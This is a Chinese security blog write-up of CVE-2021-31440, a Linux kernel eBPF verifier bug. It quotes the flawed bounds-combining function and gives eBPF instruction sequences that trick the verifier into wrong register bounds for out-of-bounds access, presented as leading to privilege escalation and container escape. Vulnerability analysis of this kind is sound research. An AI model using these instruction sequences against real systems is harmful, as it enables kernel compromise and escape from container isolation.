CVE-2021-31440:Linux kernel eBPF模块漏洞详情

  • A+
所属分类:安全漏洞
CVE-2021-31440:Linux kernel eBPF模块漏洞详情点击上方蓝字关注我们


概述


CVE-2021-31440存在于eBPF程序的处理过程中,是由于在执行用户提供的eBPF程序之前,未进行适当的验证导致的。攻击者可以利用此漏洞来提升特权,并在内核的上下文中执行任意代码。该漏洞影响Linux kernel 5.7及更高版本。

默认情况下,Kubernetes容器允许访问所有系统调用,因此可以利用该漏洞来实现容器转义。研究人员将当前的UID和GID设置为0,并获得了CAP_SYS_MODULE功能,这使程序可以在容器外部加载任意内核模块。概念验证视频如下所示:


漏洞详情


CVE-2020-8835之后,开发人员对验证程序进行了一项重大更改,即32位绑定跟踪。对于无符号和有符号的最小和最大边界,另外加上32位边界u32_min_value、u32_max_value、s32_min_value和s32_max_value,并且专门适用于每个跟踪寄存器的低32位。

但是,在__reg_combine_64_into_32()中重新引入了一个类似错误。该函数使用64位寄存器上的已知边界,来推断该寄存器的低32位的边界。

static void __reg_combine_64_into_32(struct bpf_reg_state *reg) {     __mark_reg32_unbounded(reg);      if (__reg64_bound_s32(reg->smin_value) && __reg64_bound_s32(reg->smax_value)) {    // (1)         reg->s32_min_value = (s32)reg->smin_value;         reg->s32_max_value = (s32)reg->smax_value;     }     if (__reg64_bound_u32(reg->umin_value))    // (2)         reg->u32_min_value = (u32)reg->umin_value;     if (__reg64_bound_u32(reg->umax_value))    // (3)         reg->u32_max_value = (u32)reg->umax_value;      /* Intersecting with the old var_off might have improved our bounds      * slightly.  e.g. if umax was 0x7f...f and var_off was (0; 0xf...fc),      * then new var_off is (0; 0x7f...fc) which improves our umax.      */     __reg_deduce_bounds(reg);     __reg_bound_offset(reg);     __update_reg_bounds(reg); }

如果标注(1)处的smin_value和smax_valueat都在带符号的32位整数范围内,则32位带符号边界会相应更新。除此之外,在其他所有情况下32位带符号边界都将保持“无界”状态。这种逻辑是正确的。

但是,在无符号边界的相应逻辑中,在标注(2)和标注(3)处,分别对umin_value和umax_value执行检查。该逻辑是错误的。举个例子,如在标注(2)处,寄存器的umin_value = 1,且umax_value = 1<<32. ,则验证程序会将u32_min_value设置为1。这样一来在运行时,寄存器的实际值可以为1 << 32,使低32位等于0。这违反了寄存器边界的正确性,这表明低32位的最小值为1。

值得注意的是,开发人员在2020年12月对标注(1)的有符号边界中的问题进行了修复,但却忘了无符号边界的情况。

漏洞利用


可以通过以下方式对该漏洞进行利用。从这些eBPF指令开始:

BPF_MOV64_IMM(BPF_REG_2, 1),  BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),  BPF_ALU64_IMM(BPF_NEG, BPF_REG_2, 0),  BPF_ALU64_IMM(BPF_NEG, BPF_REG_2, 0),

这些指令将BPF_REG_2设置为1<<32。这两个连续的NEG指令,使验证程序无法跟踪BPF_REG_2的所有边界,同时保持其运行时值不变。然后使用:

BPF_JMP_IMM(BPF_JGE, BPF_REG_2, 1, 1),  BPF_RAW_INSN(BPF_JMP | BPF_EXIT, 0, 0, 0, 0),

该条件分支测试BPF_REG_2是否大于或等于1。如果为true,验证程序会将寄存器的umin_value设置为1。此外,验证程序将调用__reg_combine_64_into_32(),以将u32_min_value也设置为1。这是运行时将遵循的分支。在之后使用:

BPF_JMP32_IMM(BPF_JLE, BPF_REG_2, 1, 1),  BPF_RAW_INSN(BPF_JMP | BPF_EXIT, 0, 0, 0, 0),

第二个条件分支测试BPF_REG_2是否小于或等于1,如果为true,验证程序会将寄存器的u32_max_value设置为1。这时,对于true路径,u32_max_value和u32_min_value都被设置为1。这意味着验证程序认为低32位的值已知正好是1。但是,从一开始BPF_REG_2的运行时值就被设置为1 << 32 data-preserve-html-node =“ true”,所以实际上低32位的真实值是0。因此,验证程序推断出的寄存器边界是错误的。

最后,我们可以利用该漏洞来进行越界访问:

BPF_MOV32_REG(BPF_REG_2, BPF_REG_2),   // verifier: 1, reality: 0 BPF_ALU64_IMM(BPF_MUL, BPF_REG_2, -1), // verifier: -1, reality: 0 BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 1),  // verifier: 0, reality: 1

BPF_MOV32_REG将错误的认知扩展到整个64位寄存器。经过两次ALU运算后,验证程序认为寄存器值是0,但实际上是1。这种情况与CVE-2020-8835中的漏洞利用步骤相同,该漏洞利用的后续步骤可以在此处重复使用。

CVE-2021-31440:Linux kernel eBPF模块漏洞详情

END



CVE-2021-31440:Linux kernel eBPF模块漏洞详情


好文!必须在看

本文始发于微信公众号(SecTr安全团队):CVE-2021-31440:Linux kernel eBPF模块漏洞详情

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: